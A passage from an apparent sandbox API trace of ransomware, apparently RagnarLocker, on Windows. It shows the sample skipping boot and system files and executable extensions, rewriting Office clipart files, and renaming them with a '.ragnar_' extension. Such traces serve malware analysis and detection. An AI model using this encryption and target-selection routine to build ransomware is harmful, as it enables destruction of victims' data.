SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.721] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.721] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3734, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3734, lpOverlapped=0x0) returned 1 [0084.722] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.722] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3734, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.722] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3734, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3734, lpOverlapped=0x0) returned 1 [0084.722] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3734, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.722] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.722] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3734, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.722] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.723] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.723] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.723] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.723] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.723] GetProcessHeap () returned 0x580000 [0084.723] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.723] CloseHandle (hObject=0xf4) returned 1 [0084.723] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF" [0084.723] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF.ragnar_FD7BD9FC" [0084.723] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152430.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152430.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.724] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x406c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152432.WMF", cAlternateFileName="")) returned 1 [0084.724] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.724] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0152432.WMF" | out: lpString1="J0152432.WMF") returned="J0152432.WMF" [0084.724] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF") returned=".WMF" [0084.724] lstrcmpiW (lpString1="J0152432.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.724] lstrcmpiW (lpString1="J0152432.WMF", lpString2="autorun.inf") returned 1 [0084.724] lstrcmpiW (lpString1="J0152432.WMF", lpString2="boot.ini") returned 1 [0084.724] lstrcmpiW (lpString1="J0152432.WMF", lpString2="bootfont.bin") returned 1 [0084.724] lstrcmpiW (lpString1="J0152432.WMF", lpString2="bootsect.bak") returned 1 [0084.724] lstrcmpiW (lpString1="J0152432.WMF", lpString2="bootmgr") returned 1 [0084.724] lstrcmpiW (lpString1="J0152432.WMF", lpString2="bootmgr.efi") returned 1 [0084.724] lstrcmpiW (lpString1="J0152432.WMF", lpString2="bootmgfw.efi") returned 1 [0084.724] lstrcmpiW (lpString1="J0152432.WMF", lpString2="desktop.ini") returned 1 [0084.724] lstrcmpiW (lpString1="J0152432.WMF", lpString2="iconcache.db") returned 1 [0084.724] lstrcmpiW (lpString1="J0152432.WMF", lpString2="ntldr") returned -1 [0084.724] lstrcmpiW (lpString1="J0152432.WMF", lpString2="ntuser.dat") returned -1 [0084.724] lstrcmpiW (lpString1="J0152432.WMF", lpString2="ntuser.dat.log") returned -1 [0084.724] lstrcmpiW (lpString1="J0152432.WMF", lpString2="ntuser.ini") returned -1 [0084.724] lstrcmpiW (lpString1="J0152432.WMF", lpString2="thumbs.db") returned -1 [0084.724] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0084.724] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0084.724] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0084.724] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0084.724] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0084.724] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0084.724] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0084.724] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152432.wmf")) returned 0x20 [0084.725] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152432.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.725] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=16492) returned 1 [0084.725] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4063, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.725] GetProcessHeap () returned 0x580000 [0084.725] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.725] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.726] VirtualAlloc (lpAddress=0x0, dwSize=0x406c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.726] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.727] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.727] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x406c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x406c, lpOverlapped=0x0) returned 1 [0084.728] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.728] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x406c, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.728] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x406c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x406c, lpOverlapped=0x0) returned 1 [0084.728] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x406c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.728] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.728] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x406c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.728] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.728] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.728] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.728] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.729] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.729] GetProcessHeap () returned 0x580000 [0084.729] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.729] CloseHandle (hObject=0xf4) returned 1 [0084.729] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF" [0084.729] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF.ragnar_FD7BD9FC" [0084.729] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152432.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152432.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.729] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2c4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152436.WMF", cAlternateFileName="")) returned 1 [0084.729] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.729] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0152436.WMF" | out: lpString1="J0152436.WMF") returned="J0152436.WMF" [0084.729] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF") returned=".WMF" [0084.730] lstrcmpiW (lpString1="J0152436.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.730] lstrcmpiW (lpString1="J0152436.WMF", lpString2="autorun.inf") returned 1 [0084.730] lstrcmpiW (lpString1="J0152436.WMF", lpString2="boot.ini") returned 1 [0084.730] lstrcmpiW (lpString1="J0152436.WMF", lpString2="bootfont.bin") returned 1 [0084.730] lstrcmpiW (lpString1="J0152436.WMF", lpString2="bootsect.bak") returned 1 [0084.730] lstrcmpiW (lpString1="J0152436.WMF", lpString2="bootmgr") returned 1 [0084.730] lstrcmpiW (lpString1="J0152436.WMF", lpString2="bootmgr.efi") returned 1 [0084.730] lstrcmpiW (lpString1="J0152436.WMF", lpString2="bootmgfw.efi") returned 1 [0084.730] lstrcmpiW (lpString1="J0152436.WMF", lpString2="desktop.ini") returned 1 [0084.730] lstrcmpiW (lpString1="J0152436.WMF", lpString2="iconcache.db") returned 1 [0084.730] lstrcmpiW (lpString1="J0152436.WMF", lpString2="ntldr") returned -1 [0084.730] lstrcmpiW (lpString1="J0152436.WMF", lpString2="ntuser.dat") returned -1 [0084.730] lstrcmpiW (lpString1="J0152436.WMF", lpString2="ntuser.dat.log") returned -1 [0084.730] lstrcmpiW (lpString1="J0152436.WMF", lpString2="ntuser.ini") returned -1 [0084.730] lstrcmpiW (lpString1="J0152436.WMF", lpString2="thumbs.db") returned -1 [0084.730] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0084.730] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0084.730] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0084.730] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0084.730] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0084.730] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0084.730] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0084.730] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152436.wmf")) returned 0x20 [0084.730] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152436.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.731] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=11340) returned 1 [0084.731] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2c43, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.731] GetProcessHeap () returned 0x580000 [0084.731] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.731] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.732] VirtualAlloc (lpAddress=0x0, dwSize=0x2c4c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.732] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.732] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.732] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2c4c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2c4c, lpOverlapped=0x0) returned 1 [0084.733] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.733] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2c4c, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.733] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2c4c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2c4c, lpOverlapped=0x0) returned 1 [0084.734] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2c4c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.734] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.734] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2c4c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.734] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.734] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.734] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.734] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.734] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.734] GetProcessHeap () returned 0x580000 [0084.734] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.734] CloseHandle (hObject=0xf4) returned 1 [0084.734] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF" [0084.734] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF.ragnar_FD7BD9FC" [0084.734] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152436.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152436.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.735] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4030, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152556.WMF", cAlternateFileName="")) returned 1 [0084.735] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.735] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0152556.WMF" | out: lpString1="J0152556.WMF") returned="J0152556.WMF" [0084.735] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF") returned=".WMF" [0084.735] lstrcmpiW (lpString1="J0152556.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.735] lstrcmpiW (lpString1="J0152556.WMF", lpString2="autorun.inf") returned 1 [0084.735] lstrcmpiW (lpString1="J0152556.WMF", lpString2="boot.ini") returned 1 [0084.735] lstrcmpiW (lpString1="J0152556.WMF", lpString2="bootfont.bin") returned 1 [0084.735] lstrcmpiW (lpString1="J0152556.WMF", lpString2="bootsect.bak") returned 1 [0084.735] lstrcmpiW (lpString1="J0152556.WMF", lpString2="bootmgr") returned 1 [0084.735] lstrcmpiW (lpString1="J0152556.WMF", lpString2="bootmgr.efi") returned 1 [0084.735] lstrcmpiW (lpString1="J0152556.WMF", lpString2="bootmgfw.efi") returned 1 [0084.735] lstrcmpiW (lpString1="J0152556.WMF", lpString2="desktop.ini") returned 1 [0084.735] lstrcmpiW (lpString1="J0152556.WMF", lpString2="iconcache.db") returned 1 [0084.735] lstrcmpiW (lpString1="J0152556.WMF", lpString2="ntldr") returned -1 [0084.735] lstrcmpiW (lpString1="J0152556.WMF", lpString2="ntuser.dat") returned -1 [0084.735] lstrcmpiW (lpString1="J0152556.WMF", lpString2="ntuser.dat.log") returned -1 [0084.735] lstrcmpiW (lpString1="J0152556.WMF", lpString2="ntuser.ini") returned -1 [0084.735] lstrcmpiW (lpString1="J0152556.WMF", lpString2="thumbs.db") returned -1 [0084.735] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0084.735] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0084.736] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0084.736] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0084.736] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0084.736] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0084.736] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0084.736] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152556.wmf")) returned 0x20 [0084.736] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152556.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.736] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=16432) returned 1 [0084.736] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4027, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.736] GetProcessHeap () returned 0x580000 [0084.736] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.736] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.738] VirtualAlloc (lpAddress=0x0, dwSize=0x4030, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.738] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.738] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.738] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x4030, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x4030, lpOverlapped=0x0) returned 1 [0084.739] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.739] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4030, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.739] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x4030, 